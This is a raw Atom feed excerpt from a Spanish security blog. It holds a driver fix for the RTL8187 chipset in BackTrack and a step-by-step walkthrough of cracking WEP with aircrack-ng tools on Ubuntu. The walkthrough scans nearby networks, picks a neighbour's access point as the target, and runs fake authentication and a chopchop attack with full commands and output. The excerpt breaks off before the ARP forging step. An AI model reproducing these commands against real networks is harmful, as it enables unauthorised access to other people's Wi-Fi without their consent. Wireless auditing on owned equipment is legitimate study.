href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=XtGEImIIKdk:wJO49rLcZ_0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=XtGEImIIKdk:wJO49rLcZ_0:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/XtGEImIIKdk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/2088043488850120916/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=2088043488850120916" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2088043488850120916?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/2088043488850120916?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/XtGEImIIKdk/password-brute-force-con-cisco-auditing.html" title="Password Brute Force con Cisco Auditing Tool" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-Q160hkE8N1Q/TtssKNDeD_I/AAAAAAAABZc/mZpClpSGDY4/s72-c/cisco-auditing-tool.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/password-brute-force-con-cisco-auditing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEIDR308eyp7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-8407521805096770424</id><published>2011-12-03T16:26:00.012-06:00</published><updated>2011-12-03T16:49:36.373-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T16:49:36.373-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="VMware" /><category scheme="http://www.blogger.com/atom/ns#" term="RTL8187" /><category scheme="http://www.blogger.com/atom/ns#" term="FL-2016G" /><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack" /><category scheme="http://www.blogger.com/atom/ns#" term="SIOCSIFFLAGS" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><category scheme="http://www.blogger.com/atom/ns#" term="GNU/Linux" /><title>"SIOCSIFFLAGS: Unknown error 132" para RTL8187 en BackTrack 5</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-pIdiwuXufYY/TtqiWeAmCNI/AAAAAAAABYU/Q9ddYt7ln6A/s1600/BackTrack5_FL-2016G.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 265px;" src="http://4.bp.blogspot.com/-pIdiwuXufYY/TtqiWeAmCNI/AAAAAAAABYU/Q9ddYt7ln6A/s400/BackTrack5_FL-2016G.jpg" alt="" id="BLOGGER_PHOTO_ID_5682032386777680082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Los chipset rtl8187 en BackTrack 5 desde VMware al hacer&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@delfi:~#&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig wlan1 up&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;SIOCSIFFLAGS: Unknown error 132&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;el fastidioso SIOCSIFFLAGS, bueno aquí esta la solución al "SIOCSIFFLAGS: Unknown error 132". Abrimos consola.&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;rmmod rtl8187&lt;br /&gt;rmmod mac80211&lt;br /&gt;modprobe rtl8187&lt;br /&gt;ifconfig wlan0 up&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;y ya con eso, tenemos el rtl8187 que se puede levantar con la orden ifconfig.&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@delfi:~#&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig wlan0 up&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@delfi:~#&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;y ya no da errores :)&lt;br /&gt;&lt;br /&gt;Esto también se puede realizar copiando lo siguiente en un archivo de texto y guardarlo en alguna ubicación de nuestro disco duro con cualquier nombre, en mi caso rtl8187.&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#!/bin/bash&lt;br /&gt;echo Removiendo Modulo RTL8187&lt;br /&gt;rmmod rtl8187&lt;br /&gt;echo Removiendo Modulo MAC80211&lt;br /&gt;rmmod mac80211&lt;br /&gt;echo Agregando Modulo RTL8187&lt;br /&gt;modprobe rtl8187&lt;br /&gt;echo wlan0 up&lt;br /&gt;ifconfig wlan0 up&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;Abrimos consola y nos vamos a la dirección donde tenemos ubicado el archivo y tecleamos.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;chmod 755 rlt8187&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./rtl8187&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y listo, una imagen dice mas que mil palabras :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-p2ivVh9YwXs/TtqjicLIjEI/AAAAAAAABZE/1Gw6_bwRvWo/s1600/rtl8187.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 377px;" src="http://2.bp.blogspot.com/-p2ivVh9YwXs/TtqjicLIjEI/AAAAAAAABZE/1Gw6_bwRvWo/s400/rtl8187.jpg" alt="" id="BLOGGER_PHOTO_ID_5682033691955072066" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-8407521805096770424?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=nFl3a-ZtekE:MgsORYWF7Tg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=nFl3a-ZtekE:MgsORYWF7Tg:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/nFl3a-ZtekE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/8407521805096770424/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=8407521805096770424" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8407521805096770424?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8407521805096770424?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/nFl3a-ZtekE/siocsifflags-unknown-error-132-para.html" title="&quot;SIOCSIFFLAGS: Unknown error 132&quot; para RTL8187 en BackTrack 5" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-pIdiwuXufYY/TtqiWeAmCNI/AAAAAAAABYU/Q9ddYt7ln6A/s72-c/BackTrack5_FL-2016G.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/12/siocsifflags-unknown-error-132-para.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEFRn45eSp7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-188730814244702228</id><published>2011-11-30T14:08:00.022-06:00</published><updated>2011-12-03T16:50:17.021-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T16:50:17.021-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="RTL8187" /><category scheme="http://www.blogger.com/atom/ns#" term="FL-2016G" /><category scheme="http://www.blogger.com/atom/ns#" term="Aircrack-ng" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Cracking WEP" /><category scheme="http://www.blogger.com/atom/ns#" term="WiFi" /><category scheme="http://www.blogger.com/atom/ns#" term="GNU/Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><title>USB FL-2016G con chipset RTL8187 en Ubuntu 11.10</title><content type="html">&lt;div style="text-align: justify;"&gt;Aquí se muestra el FL-2016G en acción desde Ubuntu en su versión 11.10. El FL-2016G es un dispositivo USB también conocido como el dragon que trae consigo el chipset rtl8187, inyecta muy bien, aunque me quedo con el alfa 2000mw, pero la ventaja es de que no es un dispositivo caro, yo la compre en 20 dolares por Ebay, el alfa me costo un poco mas pero si que valió la pena comprarla, me ha servido para todo, hasta como AP :).&lt;br /&gt;&lt;br /&gt;Bueno como un usuario me ha enviado un mensaje preguntando como es el proceso para auditar con el FL-2016, aquí esta. Aunque el proceso es el mismo para todos los dispositivos, es cuestión de lanzar airmon-ng y mirar si detecta nuestro dispositivo USB, si no detecta podría ser necesaria parchear los drivers con el &lt;a href="http://linuxwireless.org/en/users/Download"&gt;Compat-Wireless&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Bueno lo primero lanzamos airmon-ng. Para esto iniciamos el script airmon-ng tal como se muestra a continuación. Wlan2 es la interface como es reconocido nuestro dispositivo en Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; airmon-ng start wlan2.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;Found 5 processes that could cause trouble.&lt;br /&gt;If airodump-ng, aireplay-ng or airtun-ng stops working after&lt;br /&gt;a short period of time, you may want to kill (some of) them!&lt;br /&gt;&lt;br /&gt;PID Name&lt;br /&gt;997 avahi-daemon&lt;br /&gt;998 avahi-daemon&lt;br /&gt;999 NetworkManager&lt;br /&gt;19973 wpa_supplicant&lt;br /&gt;21950 dhclient&lt;br /&gt;Process with PID 21950 (dhclient) is running on interface wlan1&lt;br /&gt;&lt;br /&gt;Interface Chipset  Driver&lt;br /&gt;&lt;br /&gt;wlan1  Unknown  rt2800usb - [phy0]&lt;br /&gt;wlan2  RTL8187  rtl8187 - [phy1]&lt;br /&gt;(monitor mode enabled on mon0)&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Una vez que hemos puesto el FL-2016G en modo monitor, podremos lanzar airodump-ng para escanear las redes que están a nuestro alcance para poder elegir un objetivo y centrarnos en una red en concreto.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; airodump-ng mon0&lt;/span&gt;&lt;pre&gt;&lt;code&gt;CH 10 ][ Elapsed: 4 s ][ 2011-11-30 03:04                               &lt;br /&gt;                                                                                                          &lt;br /&gt;BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                     &lt;br /&gt;                                                                                                          &lt;br /&gt;08:76:FF:C0:9C:A4  -50       11        0    0   9  54e  WEP  WEP         INFINITUM8E394A                           &lt;br /&gt;64:16:F0:31:68:CD  -61        9        0    0  11  54   WEP  WEP         INFINITUM7449                             &lt;br /&gt;00:18:3F:01:06:F9  -62        2        0    0  11  54 . WEP  WEP         INFINITUM9776                             &lt;br /&gt;00:21:7C:C6:5E:61  -62        6        0    0   1  54 . WPA2 CCMP   PSK  Juanjo                                    &lt;br /&gt;98:2C:BE:10:ED:72  -60        7        0    0   1  54   WEP  WEP         INFINITUM8831                             &lt;br /&gt;F4:C7:14:6F:AB:7C  -63        4        0    0  11  54e  WEP  WEP         GREGORIO                                  &lt;br /&gt;5C:4C:A9:67:18:B4  -64        4        0    0   1  54e  WEP  WEP         INFINITUM54b4                             &lt;br /&gt;00:E0:4C:D2:53:FF  -67        2        0    0  11  54   WEP  WEP         PAKORP                                    &lt;br /&gt;                                                                                                          &lt;br /&gt;BSSID              STATION            PWR   Rate    Lost  Packets  Probes&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-mvDFgVzZ7p8/TtaWEKFLoqI/AAAAAAAABYI/-eFnX49DLWY/s1600/Airodump-ng_Ubuntu11_10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 174px;" src="http://4.bp.blogspot.com/-mvDFgVzZ7p8/TtaWEKFLoqI/AAAAAAAABYI/-eFnX49DLWY/s400/Airodump-ng_Ubuntu11_10.png" alt="" id="BLOGGER_PHOTO_ID_5680892978144191138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez elegido el objetivo, lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB em modo monitor (mon0) en el canal (11) donde esta trasmitiendo el punto de acceso (64:16:F0:31:68:CD), el parametro --write es el nombre del archivo de nuestra captura.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; airodump-ng --bssid 64:16:F0:31:68:CD --channel 11 --write wifikey mon0&lt;/span&gt;&lt;pre&gt;&lt;code&gt;CH 11 ][ Elapsed: 5 mins ][ 2011-11-30 03:09                               &lt;br /&gt;                                                                                                          &lt;br /&gt;BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 &lt;br /&gt;                                                                                                          &lt;br /&gt;64:16:F0:31:68:CD  -60   0     2286    29042   76  11  54   WEP  WEP    OPN  INFINITUM7449                         &lt;br /&gt;                                                                                                          &lt;br /&gt;BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                          &lt;br /&gt;                                                                                                          &lt;br /&gt;64:16:F0:31:68:CD  00:C0:CA:40:B8:3E    0    0 - 1   1317340   151601&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; aireplay-ng --fakeauth 0 -e INFINITUM7449 -a 64:16:F0:31:68:CD -h 00:C0:CA:40:B8:3E mon0&lt;/span&gt;&lt;pre&gt;&lt;code&gt;03:04:54  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11&lt;br /&gt;03:04:55  Sending Authentication Request (Open System)&lt;br /&gt;03:04:55  Authentication successful&lt;br /&gt;03:04:55  Sending Association Request&lt;br /&gt;03:04:55  Association successful :-) (AID: 1)&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-1GLyZgP5A50/TtaVZd79MAI/AAAAAAAABXk/ZZpsXkk7c5A/s1600/aireplay-ng.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 102px;" src="http://3.bp.blogspot.com/-1GLyZgP5A50/TtaVZd79MAI/AAAAAAAABXk/ZZpsXkk7c5A/s400/aireplay-ng.png" alt="" id="BLOGGER_PHOTO_ID_5680892244739829762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Tal como podemos ver, nos hemos asociado correctamente. lanzamos el ataque chopchop con el siguiente comando --chopchop o -4. En este caso el paramentro--chopchop significa que realizaremos el ataque chopchop, -b la dirección MAC del punto de acceso, -h la dirección MAC de nuestro dispositivo inalambrico y el mon0 es tal como es reconocido nuestro dispositivo.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; aireplay-ng --chopchop -b 64:16:F0:31:68:CD -h 00:C0:CA:40:B8:3E mon0&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;03:04:58  Waiting for beacon frame (BSSID: 64:16:F0:31:68:CD) on channel 11&lt;br /&gt;Read 3616 packets...&lt;br /&gt;&lt;br /&gt;Size: 86, FromDS: 1, ToDS: 0 (WEP)&lt;br /&gt;&lt;br /&gt;    BSSID  =  64:16:F0:31:68:CD&lt;br /&gt;Dest. MAC  =  01:00:5E:00:00:01&lt;br /&gt;Source MAC  =  64:16:F0:31:68:CD&lt;br /&gt;&lt;br /&gt;0x0000:  0842 0000 0100 5e00 0001 6416 f031 68cd  .B....^...d..1h.&lt;br /&gt;0x0010:  6416 f031 68cd f089 e15e 4800 224d e95a  d..1h....^H."M.Z&lt;br /&gt;0x0020:  f191 7a17 92fd 494c e866 d7fe 7200 d979  ..z...IL.f..r..y&lt;br /&gt;0x0030:  8c57 92db d5ed 59c3 5a63 c78c e09c fc82  .W....Y.Zc......&lt;br /&gt;0x0040:  0269 8709 952a 7d4a 443f 2139 3843 0fd5  .i...*}JD?!98C..&lt;br /&gt;0x0050:  e2ff 3aea e1aa                           ..:...&lt;br /&gt;&lt;br /&gt;Use this packet ? y&lt;br /&gt;&lt;br /&gt;Saving chosen packet in replay_src-1130-030631.cap&lt;br /&gt;&lt;br /&gt;Offset   85 ( 0% done) | xor = 89 | pt = 23 |   78 frames written in  1342ms&lt;br /&gt;Offset   84 ( 1% done) | xor = 94 | pt = 75 |  489 frames written in  8297ms&lt;br /&gt;Offset   83 ( 3% done) | xor = BE | pt = 54 | 1785 frames written in 30360ms&lt;br /&gt;Offset   82 ( 5% done) | xor = 3E | pt = 04 |  579 frames written in  9843ms&lt;br /&gt;Offset   81 ( 7% done) | xor = FF | pt = 00 |  667 frames written in 11338ms&lt;br /&gt;Offset   80 ( 9% done) | xor = E2 | pt = 00 |   77 frames written in  1309ms&lt;br /&gt;Offset   79 (11% done) | xor = D5 | pt = 00 |  239 frames written in  4064ms&lt;br /&gt;Offset   78 (13% done) | xor = 0F | pt = 00 |  238 frames written in  4047ms&lt;br /&gt;Offset   77 (15% done) | xor = 42 | pt = 01 |  650 frames written in 11048ms&lt;br /&gt;Offset   76 (17% done) | xor = 38 | pt = 00 |  273 frames written in  4642ms&lt;br /&gt;Offset   75 (19% done) | xor = 39 | pt = 00 |  133 frames written in  2249ms&lt;br /&gt;Offset   74 (21% done) | xor = 21 | pt = 00 |  701 frames written in 11929ms&lt;br /&gt;Offset   73 (23% done) | xor = 57 | pt = 68 |   57 frames written in   969ms&lt;br /&gt;Offset   72 (25% done) | xor = 30 | pt = 74 |  418 frames written in  7103ms&lt;br /&gt;Offset   71 (26% done) | xor = EA | pt = A0 |  606 frames written in 10304ms&lt;br /&gt;Offset   70 (28% done) | xor = E5 | pt = 98 |  482 frames written in  8194ms&lt;br /&gt;Offset   69 (30% done) | xor = 0A | pt = 20 |  244 frames written in  4149ms&lt;br /&gt;Offset   68 (32% done) | xor = 95 | pt = 00 |  244 frames written in  4147ms&lt;br /&gt;Offset   67 (34% done) | xor = E2 | pt = EB |  404 frames written in  6869ms&lt;br /&gt;Offset   66 (36% done) | xor = 93 | pt = 14 |  185 frames written in  3136ms&lt;br /&gt;Offset   65 (38% done) | xor = E9 | pt = 80 |  436 frames written in  7408ms&lt;br /&gt;Offset   64 (40% done) | xor = DE | pt = DC |  197 frames written in  3360ms&lt;br /&gt;Offset   63 (42% done) | xor = 82 | pt = 00 |  192 frames written in  3264ms&lt;br /&gt;Offset   62 (44% done) | xor = FC | pt = 00 |  194 frames written in  3297ms&lt;br /&gt;Offset   61 (46% done) | xor = 9C | pt = 00 |  815 frames written in 13856ms&lt;br /&gt;Offset   60 (48% done) | xor = E0 | pt = 00 | 1468 frames written in 24945ms&lt;br /&gt;Offset   59 (50% done) | xor = 17 | pt = 9B |  316 frames written in  5383ms&lt;br /&gt;Offset   58 (51% done) | xor = 29 | pt = EE |  230 frames written in  3909ms&lt;br /&gt;Offset   57 (53% done) | xor = 07 | pt = 64 |   76 frames written in  1293ms&lt;br /&gt;Offset   56 (55% done) | xor = 4B | pt = 11 |   99 frames written in  1684ms&lt;br /&gt;Offset   55 (57% done) | xor = C2 | pt = 01 |  120 frames written in  2037ms&lt;br /&gt;Offset   54 (59% done) | xor = 59 | pt = 00 |  192 frames written in  3266ms&lt;br /&gt;Offset   53 (61% done) | xor = ED | pt = 00 |  177 frames written in  2998ms&lt;br /&gt;Offset   52 (63% done) | xor = 35 | pt = E0 |   63 frames written in  1081ms&lt;br /&gt;Offset   51 (65% done) | xor = 25 | pt = FE |   75 frames written in  1272ms&lt;br /&gt;Offset   50 (67% done) | xor = 93 | pt = 01 |  147 frames written in  2503ms&lt;br /&gt;Offset   49 (69% done) | xor = FF | pt = A8 |  229 frames written in  3892ms&lt;br /&gt;Offset   48 (71% done) | xor = 4C | pt = C0 |  179 frames written in  3043ms&lt;br /&gt;Offset   47 (73% done) | xor = EF | pt = 96 |  690 frames written in 11730ms&lt;br /&gt;Offset   46 (75% done) | xor = D1 | pt = 08 |  295 frames written in  5014ms&lt;br /&gt;Offset   45 (76% done) | xor = 02 | pt = 02 |  575 frames written in  9775ms&lt;br /&gt;Offset   44 (78% done) | xor = 73 | pt = 01 |  249 frames written in  4233ms&lt;br /&gt;Offset   43 (80% done) | xor = FE | pt = 00 |   67 frames written in  1140ms&lt;br /&gt;Offset   42 (82% done) | xor = D7 | pt = 00 |  296 frames written in  5020ms&lt;br /&gt;Offset   41 (84% done) | xor = C5 | pt = A3 |   97 frames written in  1660ms&lt;br /&gt;Offset   40 (86% done) | xor = E6 | pt = 0E |   20 frames written in   341ms&lt;br /&gt;Offset   39 (88% done) | xor = 50 | pt = 1C |  370 frames written in  6293ms&lt;br /&gt;Offset   38 (90% done) | xor = 49 | pt = 00 |  228 frames written in  3869ms&lt;br /&gt;Offset   37 (92% done) | xor = FD | pt = 00 |  231 frames written in  3930ms&lt;br /&gt;Offset   36 (94% done) | xor = D7 | pt = 45 |  789 frames written in 13414ms&lt;br /&gt;Offset   35 (96% done) | xor = 17 | pt = 00 |  229 frames written in  3892ms&lt;br /&gt;Offset   34 (98% done) | xor = 72 | pt = 08 |  147 frames written in  2499ms&lt;br /&gt;&lt;br /&gt;Saving plaintext in replay_dec-1130-030713.cap&lt;br /&gt;Saving keystream in replay_dec-1130-030713.xor&lt;br /&gt;&lt;br /&gt;Completed in 39s (1.23 bytes/s)&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-icfdubatsSc/TtaVlyv9hcI/AAAAAAAABXw/mvnnMeRLM4g/s1600/chopchop_ubuntu_11_10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 349px;" src="http://1.bp.blogspot.com/-icfdubatsSc/TtaVlyv9hcI/AAAAAAAABXw/mvnnMeRLM4g/s400/chopchop_ubuntu_11_10.png" alt="" id="BLOGGER_PHOTO_ID_5680892456485094850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como se mira en el código e imagen anterior, tuvimos éxito con el ataque chopchop. El archivo llamado keystream in replay_dec-1130-030713.xor lo utilizaremos para generar un paquete ARP con el famoso packetforge-ng. Nuestro objetivo es que el punto de acceso reenvié continuamente el paquete arp inyectado. Cuando lo reenvié obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: 